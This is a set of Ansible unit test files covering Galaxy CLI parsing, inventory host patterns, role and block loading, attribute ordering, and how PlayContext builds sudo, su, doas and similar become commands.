            self.assertTrue(mocked_display.called_once_with("- downloading role 'fake_role_name', owned by "))

        # testing with --ignore-errors flag
        with patch('sys.argv', ["-c", "fake_role_name", "--ignore-errors"]):
            galalxy_parser = gc.parse()
        with patch.object(ansible.utils.display.Display, "display", return_value=None) as mocked_display:
            # testing that error expected is not raised with --ignore-errors flag in use
            gc.run()
            self.assertTrue(mocked_display.called_once_with("- downloading role 'fake_role_name', owned by "))

    def run_parse_common(self, galaxycli_obj, action):
        with patch.object(ansible.cli.SortedOptParser, "set_usage") as mocked_usage:
            with patch('sys.argv', ["-c"]):
                galaxy_parser = galaxycli_obj.parse()

                # checking that the common results of parse() for all possible actions have been created/called
                self.assertTrue(galaxy_parser)
                self.assertTrue(isinstance(galaxycli_obj.parser, ansible.cli.SortedOptParser))
                self.assertTrue(isinstance(galaxycli_obj.galaxy, ansible.galaxy.Galaxy))
                if action in ['import', 'delete']:
                    formatted_call = 'usage: %prog ' + action + ' [options] github_user github_repo'
                elif action == 'info':
                    formatted_call = 'usage: %prog ' + action + ' [options] role_name[,version]'
                elif action == 'init':
                    formatted_call = 'usage: %prog ' + action + ' [options] role_name'
                elif action == 'install':
                    formatted_call = 'usage: %prog ' + action + ' [options] [-r FILE | role_name(s)[,version] | scm+role_repo_url[,version] | tar_file(s)]'
                elif action == 'list':
                    formatted_call = 'usage: %prog ' + action + ' [role_name]'
                elif action == 'login':
                    formatted_call = 'usage: %prog ' + action + ' [options]'
                elif action == 'remove':
                    formatted_call = 'usage: %prog ' + action + ' role1 role2 ...'
                elif action == 'search':
                    formatted_call = 'usage: %prog ' + action + ' [searchterm1 searchterm2] [--galaxy-tags galaxy_tag1,galaxy_tag2] [--platforms platform1,platform2] [--author username]'
                elif action == 'setup':
                    formatted_call = 'usage: %prog ' + action + ' [options] source github_user github_repo secret'
                calls = [call('usage: %prog [delete|import|info|init|install|list|login|remove|search|setup] [--help] [options] ...'), call(formatted_call)]
                mocked_usage.assert_has_calls(calls)

    def test_parse(self):
        ''' systematically testing that the expected options parser is created '''
        # testing no action given
        gc = GalaxyCLI(args=[])
        with patch('sys.argv', ["-c"]):
            self.assertRaises(AnsibleOptionsError, gc.parse)

        # testing action that doesn't exist
        gc = GalaxyCLI(args=["NOT_ACTION"])
        with patch('sys.argv', ["-c"]):
            self.assertRaises(AnsibleOptionsError, gc.parse)

        # testing action 'delete'
        gc = GalaxyCLI(args=["delete"])
        self.run_parse_common(gc, "delete")
        self.assertTrue(gc.options.verbosity==0)

        # testing action 'import'
        gc = GalaxyCLI(args=["import"])
        self.run_parse_common(gc, "import")
        self.assertTrue(gc.options.wait==True)
        self.assertTrue(gc.options.reference==None)
        self.assertTrue(gc.options.check_status==False)
        self.assertTrue(gc.options.verbosity==0)

        # testing action 'info'
        gc = GalaxyCLI(args=["info"])
        self.run_parse_common(gc, "info")
        self.assertTrue(gc.options.offline==False)

        # testing action 'init'
        gc = GalaxyCLI(args=["init"])
        self.run_parse_common(gc, "init")
        self.assertTrue(gc.options.offline==False)
        self.assertTrue(gc.options.force==False)

        # testing action 'install'
        gc = GalaxyCLI(args=["install"])
        self.run_parse_common(gc, "install")
        self.assertTrue(gc.options.ignore_errors==False)
        self.assertTrue(gc.options.no_deps==False)
        self.assertTrue(gc.options.role_file==None)
        self.assertTrue(gc.options.force==False)

        # testing action 'list'
        gc = GalaxyCLI(args=["list"])
        self.run_parse_common(gc, "list")
        self.assertTrue(gc.options.verbosity==0)

        # testing action 'login'
        gc = GalaxyCLI(args=["login"])
        self.run_parse_common(gc, "login")
        self.assertTrue(gc.options.verbosity==0)
        self.assertTrue(gc.options.token==None)

        # testing action 'remove'
        gc = GalaxyCLI(args=["remove"])
        self.run_parse_common(gc, "remove")
        self.assertTrue(gc.options.verbosity==0)

        # testing action 'search'
        gc = GalaxyCLI(args=["search"])
        self.run_parse_common(gc, "search")
        self.assertTrue(gc.options.platforms==None)
        self.assertTrue(gc.options.tags==None)
        self.assertTrue(gc.options.author==None)

        # testing action 'setup'
        gc = GalaxyCLI(args=["setup"])
        self.run_parse_common(gc, "setup")
        self.assertTrue(gc.options.verbosity==0)
        self.assertTrue(gc.options.remove_id==None)
        self.assertTrue(gc.options.setup_list==False)






# Copyright 2015 Marius Gedminas <marius@gedmin.as>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

import unittest

from ansible.inventory.host import Host


class TestHost(unittest.TestCase):

    def setUp(self):
        self.hostA = Host('a')
        self.hostB = Host('b')

    def test_equality(self):
        self.assertEqual(self.hostA, self.hostA)
        self.assertNotEqual(self.hostA, self.hostB)
        self.assertNotEqual(self.hostA, Host('a'))

    def test_hashability(self):
        # equality implies the hash values are the same
        self.assertEqual(hash(self.hostA), hash(Host('a')))






# Copyright 2015 Abhijit Menon-Sen <ams@2ndQuadrant.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import string

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.errors import AnsibleError, AnsibleParserError
from ansible.inventory import Inventory
from ansible.inventory.expand_hosts import expand_hostname_range
from ansible.vars import VariableManager

from units.mock.loader import DictDataLoader

class TestInventory(unittest.TestCase):

    patterns = {
        'a': ['a'],
        'a, b': ['a', 'b'],
        'a , b': ['a', 'b'],
        ' a,b ,c[1:2] ': ['a', 'b', 'c[1:2]'],
        '9a01:7f8:191:7701::9': ['9a01:7f8:191:7701::9'],
        '9a01:7f8:191:7701::9,9a01:7f8:191:7701::9': ['9a01:7f8:191:7701::9', '9a01:7f8:191:7701::9'],
        '9a01:7f8:191:7701::9,9a01:7f8:191:7701::9,foo': ['9a01:7f8:191:7701::9', '9a01:7f8:191:7701::9','foo'],
        'foo[1:2]': ['foo[1:2]'],
        'a::b': ['a::b'],
        'a:b': ['a', 'b'],
        ' a : b ': ['a', 'b'],
        'foo:bar:baz[1:2]': ['foo', 'bar', 'baz[1:2]'],
    }

    pattern_lists = [
        [['a'], ['a']],
        [['a', 'b'], ['a', 'b']],
        [['a, b'], ['a', 'b']],
        [['9a01:7f8:191:7701::9', '9a01:7f8:191:7701::9,foo'],
         ['9a01:7f8:191:7701::9', '9a01:7f8:191:7701::9','foo']]
    ]

    # pattern_string: [ ('base_pattern', (a,b)), ['x','y','z'] ]
    # a,b are the bounds of the subscript; x..z are the results of the subscript
    # when applied to string.ascii_letters.

    subscripts = {
        'a': [('a',None), list(string.ascii_letters)],
        'a[0]': [('a', (0, None)), ['a']],
        'a[1]': [('a', (1, None)), ['b']],
        'a[2:3]': [('a', (2, 3)), ['c', 'd']],
        'a[-1]': [('a', (-1, None)), ['Z']],
        'a[-2]': [('a', (-2, None)), ['Y']],
        'a[48:]': [('a', (48, -1)), ['W', 'X', 'Y', 'Z']],
        'a[49:]': [('a', (49, -1)), ['X', 'Y', 'Z']],
        'a[1:]': [('a', (1, -1)), list(string.ascii_letters[1:])],
    }

    ranges_to_expand = {
        'a[1:2]': ['a1', 'a2'],
        'a[1:10:2]': ['a1', 'a3', 'a5', 'a7', 'a9'],
        'a[a:b]': ['aa', 'ab'],
        'a[a:i:3]': ['aa', 'ad', 'ag'],
        'a[a:b][c:d]': ['aac', 'aad', 'abc', 'abd'],
        'a[0:1][2:3]': ['a02', 'a03', 'a12', 'a13'],
        'a[a:b][2:3]': ['aa2', 'aa3', 'ab2', 'ab3'],
    }

    def setUp(self):
        v = VariableManager()
        fake_loader = DictDataLoader({})

        self.i = Inventory(loader=fake_loader, variable_manager=v, host_list='')

    def test_split_patterns(self):

        for p in self.patterns:
            r = self.patterns[p]
            self.assertEqual(r, self.i.split_host_pattern(p))

        for p, r in self.pattern_lists:
            self.assertEqual(r, self.i.split_host_pattern(p))

    def test_ranges(self):

        for s in self.subscripts:
            r = self.subscripts[s]
            self.assertEqual(r[0], self.i._split_subscript(s))
            self.assertEqual(
                r[1],
                self.i._apply_subscript(
                    list(string.ascii_letters),
                    r[0][1]
                )
            )

    def test_expand_hostname_range(self):

        for e in self.ranges_to_expand:
            r = self.ranges_to_expand[e]
            self.assertEqual(r, expand_hostname_range(e))






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.errors import AnsibleError, AnsibleParserError
from ansible.playbook.block import Block
from ansible.playbook.role import Role
from ansible.playbook.role.include import RoleInclude
from ansible.playbook.task import Task

from units.mock.loader import DictDataLoader
from units.mock.path import mock_unfrackpath_noop

class TestRole(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    @patch('ansible.playbook.role.definition.unfrackpath', mock_unfrackpath_noop)
    def test_load_role_with_tasks(self):

        fake_loader = DictDataLoader({
            "/etc/ansible/roles/foo_tasks/tasks/main.yml": """
            - shell: echo 'hello world'
            """,
        })

        mock_play = MagicMock()
        mock_play.ROLE_CACHE = {}

        i = RoleInclude.load('foo_tasks', play=mock_play, loader=fake_loader)
        r = Role.load(i, play=mock_play)

        self.assertEqual(str(r), 'foo_tasks')
        self.assertEqual(len(r._task_blocks), 1)
        assert isinstance(r._task_blocks[0], Block)

    @patch('ansible.playbook.role.definition.unfrackpath', mock_unfrackpath_noop)
    def test_load_role_with_handlers(self):

        fake_loader = DictDataLoader({
            "/etc/ansible/roles/foo_handlers/handlers/main.yml": """
            - name: test handler
              shell: echo 'hello world'
            """,
        })

        mock_play = MagicMock()
        mock_play.ROLE_CACHE = {}

        i = RoleInclude.load('foo_handlers', play=mock_play, loader=fake_loader)
        r = Role.load(i, play=mock_play)

        self.assertEqual(len(r._handler_blocks), 1)
        assert isinstance(r._handler_blocks[0], Block)

    @patch('ansible.playbook.role.definition.unfrackpath', mock_unfrackpath_noop)
    def test_load_role_with_vars(self):

        fake_loader = DictDataLoader({
            "/etc/ansible/roles/foo_vars/defaults/main.yml": """
            foo: bar
            """,
            "/etc/ansible/roles/foo_vars/vars/main.yml": """
            foo: bam
            """,
        })

        mock_play = MagicMock()
        mock_play.ROLE_CACHE = {}

        i = RoleInclude.load('foo_vars', play=mock_play, loader=fake_loader)
        r = Role.load(i, play=mock_play)

        self.assertEqual(r._default_vars, dict(foo='bar'))
        self.assertEqual(r._role_vars, dict(foo='bam'))

    @patch('ansible.playbook.role.definition.unfrackpath', mock_unfrackpath_noop)
    def test_load_role_with_metadata(self):

        fake_loader = DictDataLoader({
            '/etc/ansible/roles/foo_metadata/meta/main.yml': """
                allow_duplicates: true
                dependencies:
                  - bar_metadata
                galaxy_info:
                  a: 1
                  b: 2
                  c: 3
            """,
            '/etc/ansible/roles/bar_metadata/meta/main.yml': """
                dependencies:
                  - baz_metadata
            """,
            '/etc/ansible/roles/baz_metadata/meta/main.yml': """
                dependencies:
                  - bam_metadata
            """,
            '/etc/ansible/roles/bam_metadata/meta/main.yml': """
                dependencies: []
            """,
            '/etc/ansible/roles/bad1_metadata/meta/main.yml': """
                1
            """,
            '/etc/ansible/roles/bad2_metadata/meta/main.yml': """
                foo: bar
            """,
            '/etc/ansible/roles/recursive1_metadata/meta/main.yml': """
                dependencies: ['recursive2_metadata']
            """,
            '/etc/ansible/roles/recursive2_metadata/meta/main.yml': """
                dependencies: ['recursive1_metadata']
            """,
        })

        mock_play = MagicMock()
        mock_play.ROLE_CACHE = {}

        i = RoleInclude.load('foo_metadata', play=mock_play, loader=fake_loader)
        r = Role.load(i, play=mock_play)

        role_deps = r.get_direct_dependencies()

        self.assertEqual(len(role_deps), 1)
        self.assertEqual(type(role_deps[0]), Role)
        self.assertEqual(len(role_deps[0].get_parents()), 1)
        self.assertEqual(role_deps[0].get_parents()[0], r)
        self.assertEqual(r._metadata.allow_duplicates, True)
        self.assertEqual(r._metadata.galaxy_info, dict(a=1, b=2, c=3))

        all_deps = r.get_all_dependencies()
        self.assertEqual(len(all_deps), 3)
        self.assertEqual(all_deps[0].get_name(), 'bam_metadata')
        self.assertEqual(all_deps[1].get_name(), 'baz_metadata')
        self.assertEqual(all_deps[2].get_name(), 'bar_metadata')

        i = RoleInclude.load('bad1_metadata', play=mock_play, loader=fake_loader)
        self.assertRaises(AnsibleParserError, Role.load, i, play=mock_play)

        i = RoleInclude.load('bad2_metadata', play=mock_play, loader=fake_loader)
        self.assertRaises(AnsibleParserError, Role.load, i, play=mock_play)

        i = RoleInclude.load('recursive1_metadata', play=mock_play, loader=fake_loader)
        self.assertRaises(AnsibleError, Role.load, i, play=mock_play)

    @patch('ansible.playbook.role.definition.unfrackpath', mock_unfrackpath_noop)
    def test_load_role_complex(self):

        # FIXME: add tests for the more complex uses of
        #        params and tags/when statements

        fake_loader = DictDataLoader({
            "/etc/ansible/roles/foo_complex/tasks/main.yml": """
            - shell: echo 'hello world'
            """,
        })

        mock_play = MagicMock()
        mock_play.ROLE_CACHE = {}

        i = RoleInclude.load(dict(role='foo_complex'), play=mock_play, loader=fake_loader)
        r = Role.load(i, play=mock_play)

        self.assertEqual(r.get_name(), "foo_complex")







# (c) 2015, Marius Gedminas <marius@gedmin.as>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from ansible.compat.tests import unittest
from ansible.playbook.attribute import Attribute


class TestAttribute(unittest.TestCase):

    def setUp(self):
        self.one = Attribute(priority=100)
        self.two = Attribute(priority=0)

    def test_eq(self):
        self.assertTrue(self.one == self.one)
        self.assertFalse(self.one == self.two)

    def test_ne(self):
        self.assertFalse(self.one != self.one)
        self.assertTrue(self.one != self.two)

    def test_lt(self):
        self.assertFalse(self.one < self.one)
        self.assertTrue(self.one < self.two)
        self.assertFalse(self.two < self.one)

    def test_gt(self):
        self.assertFalse(self.one > self.one)
        self.assertFalse(self.one > self.two)
        self.assertTrue(self.two > self.one)

    def test_le(self):
        self.assertTrue(self.one <= self.one)
        self.assertTrue(self.one <= self.two)
        self.assertFalse(self.two <= self.one)

    def test_ge(self):
        self.assertTrue(self.one >= self.one)
        self.assertFalse(self.one >= self.two)
        self.assertTrue(self.two >= self.one)







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible import constants as C
from ansible.cli import CLI
from ansible.errors import AnsibleError, AnsibleParserError
from ansible.playbook.play_context import PlayContext

from units.mock.loader import DictDataLoader

class TestPlayContext(unittest.TestCase):

    def setUp(self):
        self._parser = CLI.base_parser(
            runas_opts   = True,
            meta_opts    = True,
            runtask_opts = True,
            vault_opts   = True,
            async_opts   = True,
            connect_opts = True,
            subset_opts  = True,
            check_opts   = True,
            inventory_opts = True,
        )

    def tearDown(self):
        pass

    def test_play_context(self):
        (options, args) = self._parser.parse_args(['-vv', '--check'])
        play_context = PlayContext(options=options)
        self.assertEqual(play_context.connection, 'smart')
        self.assertEqual(play_context.remote_addr, None)
        self.assertEqual(play_context.remote_user, None)
        self.assertEqual(play_context.password, '')
        self.assertEqual(play_context.port, None)
        self.assertEqual(play_context.private_key_file, C.DEFAULT_PRIVATE_KEY_FILE)
        self.assertEqual(play_context.timeout, C.DEFAULT_TIMEOUT)
        self.assertEqual(play_context.shell, None)
        self.assertEqual(play_context.verbosity, 2)
        self.assertEqual(play_context.check_mode, True)
        self.assertEqual(play_context.no_log, None)

        mock_play = MagicMock()
        mock_play.connection    = 'mock'
        mock_play.remote_user   = 'mock'
        mock_play.port          = 1234
        mock_play.become        = True
        mock_play.become_method = 'mock'
        mock_play.become_user   = 'mockroot'
        mock_play.no_log        = True

        play_context = PlayContext(play=mock_play, options=options)
        self.assertEqual(play_context.connection, 'mock')
        self.assertEqual(play_context.remote_user, 'mock')
        self.assertEqual(play_context.password, '')
        self.assertEqual(play_context.port, 1234)
        self.assertEqual(play_context.become, True)
        self.assertEqual(play_context.become_method, "mock")
        self.assertEqual(play_context.become_user, "mockroot")

        mock_task = MagicMock()
        mock_task.connection    = 'mocktask'
        mock_task.remote_user   = 'mocktask'
        mock_task.no_log        =  mock_play.no_log
        mock_task.become        = True
        mock_task.become_method = 'mocktask'
        mock_task.become_user   = 'mocktaskroot'
        mock_task.become_pass   = 'mocktaskpass'
        mock_task._local_action = False
        mock_task.delegate_to   = None

        all_vars = dict(
            ansible_connection = 'mock_inventory',
            ansible_ssh_port = 4321,
        )

        mock_templar = MagicMock()

        play_context = PlayContext(play=mock_play, options=options)
        play_context = play_context.set_task_and_variable_override(task=mock_task, variables=all_vars, templar=mock_templar)
        self.assertEqual(play_context.connection, 'mock_inventory')
        self.assertEqual(play_context.remote_user, 'mocktask')
        self.assertEqual(play_context.port, 4321)
        self.assertEqual(play_context.no_log, True)
        self.assertEqual(play_context.become, True)
        self.assertEqual(play_context.become_method, "mocktask")
        self.assertEqual(play_context.become_user, "mocktaskroot")
        self.assertEqual(play_context.become_pass, "mocktaskpass")

        mock_task.no_log        = False
        play_context = play_context.set_task_and_variable_override(task=mock_task, variables=all_vars, templar=mock_templar)
        self.assertEqual(play_context.no_log, False)

    def test_play_context_make_become_cmd(self):
        (options, args) = self._parser.parse_args([])
        play_context = PlayContext(options=options)

        default_cmd = "/bin/foo"
        default_exe = "/bin/bash"
        sudo_exe    = C.DEFAULT_SUDO_EXE or 'sudo'
        sudo_flags  = C.DEFAULT_SUDO_FLAGS
        su_exe      = C.DEFAULT_SU_EXE or 'su'
        su_flags    = C.DEFAULT_SU_FLAGS or ''
        pbrun_exe   = 'pbrun'
        pbrun_flags = ''
        pfexec_exe   = 'pfexec'
        pfexec_flags = ''
        doas_exe    = 'doas'
        doas_flags  = ' -n  -u foo '
        dzdo_exe   = 'dzdo'

        cmd = play_context.make_become_cmd(cmd=default_cmd, executable=default_exe)
        self.assertEqual(cmd, default_cmd)

        play_context.become = True
        play_context.become_user = 'foo'

        play_context.become_method = 'sudo'
        cmd = play_context.make_become_cmd(cmd=default_cmd, executable="/bin/bash")
        self.assertEqual(cmd, """%s %s -u %s %s -c 'echo %s; %s'""" % (sudo_exe, sudo_flags, play_context.become_user, default_exe, play_context.success_key, default_cmd))
        play_context.become_pass = 'testpass'
        cmd = play_context.make_become_cmd(cmd=default_cmd, executable=default_exe)
        self.assertEqual(cmd, """%s %s -p "%s" -u %s %s -c 'echo %s; %s'""" % (sudo_exe, sudo_flags.replace('-n',''), play_context.prompt, play_context.become_user, default_exe, play_context.success_key, default_cmd))

        play_context.become_pass = None

        play_context.become_method = 'su'
        cmd = play_context.make_become_cmd(cmd=default_cmd, executable="/bin/bash")
        self.assertEqual(cmd, """%s  %s -c '%s -c '"'"'echo %s; %s'"'"''""" % (su_exe, play_context.become_user, default_exe, play_context.success_key, default_cmd))

        play_context.become_method = 'pbrun'
        cmd = play_context.make_become_cmd(cmd=default_cmd, executable="/bin/bash")
        self.assertEqual(cmd, """%s -b %s -u %s 'echo %s; %s'""" % (pbrun_exe, pbrun_flags, play_context.become_user, play_context.success_key, default_cmd))

        play_context.become_method = 'pfexec'
        cmd = play_context.make_become_cmd(cmd=default_cmd, executable="/bin/bash")
        self.assertEqual(cmd, '''%s %s "'echo %s; %s'"''' % (pfexec_exe, pfexec_flags, play_context.success_key, default_cmd))

        play_context.become_method = 'doas'
        cmd = play_context.make_become_cmd(cmd=default_cmd, executable="/bin/bash")
        self.assertEqual(cmd, """%s %s echo %s && %s %s env ANSIBLE=true %s""" % (doas_exe, doas_flags, play_context.success_key, doas_exe, doas_flags, default_cmd))

        play_context.become_method = 'bad'
        self.assertRaises(AnsibleError, play_context.make_become_cmd, cmd=default_cmd, executable="/bin/bash")

        play_context.become_method = 'dzdo'
        cmd = play_context.make_become_cmd(cmd=default_cmd, executable="/bin/bash")
        self.assertEqual(cmd, """%s -u %s %s -c 'echo %s; %s'""" % (dzdo_exe, play_context.become_user, default_exe, play_context.success_key, default_cmd))

class TestTaskAndVariableOverrride(unittest.TestCase):

    inventory_vars = (
            ('preferred_names',
                dict(ansible_connection='local',
                    ansible_user='ansibull',
                    ansible_become_user='ansibull',
                    ansible_become_method='su',
                    ansible_become_pass='ansibullwuzhere',),
                dict(connection='local',
                    remote_user='ansibull',
                    become_user='ansibull',
                    become_method='su',
                    become_pass='ansibullwuzhere',)
            ),
            ('alternate_names',
                dict(ansible_become_password='ansibullwuzhere',),
                dict(become_pass='ansibullwuzhere',)
            ),
            ('deprecated_names',
                dict(ansible_ssh_user='ansibull',
                    ansible_sudo_user='ansibull',
                    ansible_sudo_pass='ansibullwuzhere',),
                dict(remote_user='ansibull',
                    become_method='sudo',
                    become_user='ansibull',
                    become_pass='ansibullwuzhere',)
            ),
            ('deprecated_names2',
                dict(ansible_ssh_user='ansibull',
                    ansible_su_user='ansibull',
                    ansible_su_pass='ansibullwuzhere',),
                dict(remote_user='ansibull',
                    become_method='su',
                    become_user='ansibull',
                    become_pass='ansibullwuzhere',)
            ),
            ('deprecated_alt_names',
                dict(ansible_sudo_password='ansibullwuzhere',),
                dict(become_method='sudo',
                    become_pass='ansibullwuzhere',)
            ),
            ('deprecated_alt_names2',
                dict(ansible_su_password='ansibullwuzhere',),
                dict(become_method='su',
                    become_pass='ansibullwuzhere',)
            ),
            ('deprecated_and_preferred_names',
                dict(ansible_user='ansibull',
                    ansible_ssh_user='badbull',
                    ansible_become_user='ansibull',
                    ansible_sudo_user='badbull',
                    ansible_become_method='su',
                    ansible_become_pass='ansibullwuzhere',
                    ansible_sudo_pass='badbull',
                    ),
                dict(connection='local',
                    remote_user='ansibull',
                    become_user='ansibull',
                    become_method='su',
                    become_pass='ansibullwuzhere',)
            ),
        )

    def setUp(self):
        parser = CLI.base_parser(
            runas_opts   = True,
            meta_opts    = True,
            runtask_opts = True,
            vault_opts   = True,
            async_opts   = True,
            connect_opts = True,
            subset_opts  = True,
            check_opts   = True,
            inventory_opts = True,
        )

        (options, args) = parser.parse_args(['-vv', '--check'])

        mock_play = MagicMock()
        mock_play.connection    = 'mock'
        mock_play.remote_user   = 'mock'
        mock_play.port          = 1234
        mock_play.become        = True
        mock_play.become_method = 'mock'
        mock_play.become_user   = 'mockroot'
        mock_play.no_log        = True

        self.play_context = PlayContext(play=mock_play, options=options)

        mock_task = MagicMock()
        mock_task.connection    = mock_play.connection
        mock_task.remote_user   = mock_play.remote_user
        mock_task.no_log        = mock_play.no_log
        mock_task.become        = mock_play.become
        mock_task.become_method = mock_play.becom_method
        mock_task.become_user   = mock_play.become_user
        mock_task.become_pass   = 'mocktaskpass'
        mock_task._local_action = False
        mock_task.delegate_to   = None

        self.mock_task = mock_task

        self.mock_templar = MagicMock()

    def tearDown(self):
        pass

    def _check_vars_overridden(self):
        self.assertEqual(play_context.connection, 'mock_inventory')
        self.assertEqual(play_context.remote_user, 'mocktask')
        self.assertEqual(play_context.port, 4321)
        self.assertEqual(play_context.no_log, True)
        self.assertEqual(play_context.become, True)
        self.assertEqual(play_context.become_method, "mocktask")
        self.assertEqual(play_context.become_user, "mocktaskroot")
        self.assertEqual(play_context.become_pass, "mocktaskpass")

        mock_task.no_log        = False
        play_context = play_context.set_task_and_variable_override(task=mock_task, variables=all_vars, templar=mock_templar)
        self.assertEqual(play_context.no_log, False)

    def test_override_magic_variables(self):
        play_context = play_context.set_task_and_variable_override(task=self.mock_task, variables=all_vars, templar=self.mock_templar)

        mock_play.connection    = 'mock'
        mock_play.remote_user   = 'mock'
        mock_play.port          = 1234
        mock_play.become_method = 'mock'
        mock_play.become_user   = 'mockroot'
        mock_task.become_pass   = 'mocktaskpass'
        # Inventory vars override things set from cli vars (--become, -user,
        # etc... [notably, not --extravars])
        for test_name, all_vars, expected in self.inventory_vars:
            yield self._check_vars_overriden, test_name, all_vars, expected






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.playbook.block import Block
from ansible.playbook.task import Task
from ansible.compat.tests import unittest

class TestBlock(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_construct_empty_block(self):
        b = Block()

    def test_construct_block_with_role(self):
        pass

    def test_load_block_simple(self):
        ds = dict(
           block = [],
           rescue = [],
           always = [],
           #otherwise = [],
        )
        b = Block.load(ds)
        self.assertEqual(b.block, [])
        self.assertEqual(b.rescue, [])
        self.assertEqual(b.always, [])
        # not currently used
        #self.assertEqual(b.otherwise, [])

    def test_load_block_with_tasks(self):
        ds = dict(
           block = [dict(action='block')],
           rescue = [dict(action='rescue')],
           always = [dict(action='always')],
           #otherwise = [dict(action='otherwise')],
        )
        b = Block.load(ds)
        self.assertEqual(len(b.block), 1)
        self.assertIsInstance(b.block[0], Task)
        self.assertEqual(len(b.rescue), 1)
        self.assertIsInstance(b.rescue[0], Task)
        self.assertEqual(len(b.always), 1)
        self.assertIsInstance(b.always[0], Task)
        # not currently used
        #self.assertEqual(len(b.otherwise), 1)
        #self.assertIsInstance(b.otherwise[0], Task)

    def test_load_implicit_block(self):
        ds = [dict(action='foo')]
        b = Block.load(ds)
        self.assertEqual(len(b.block), 1)
        self.assertIsInstance(b.block[0], Task)







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
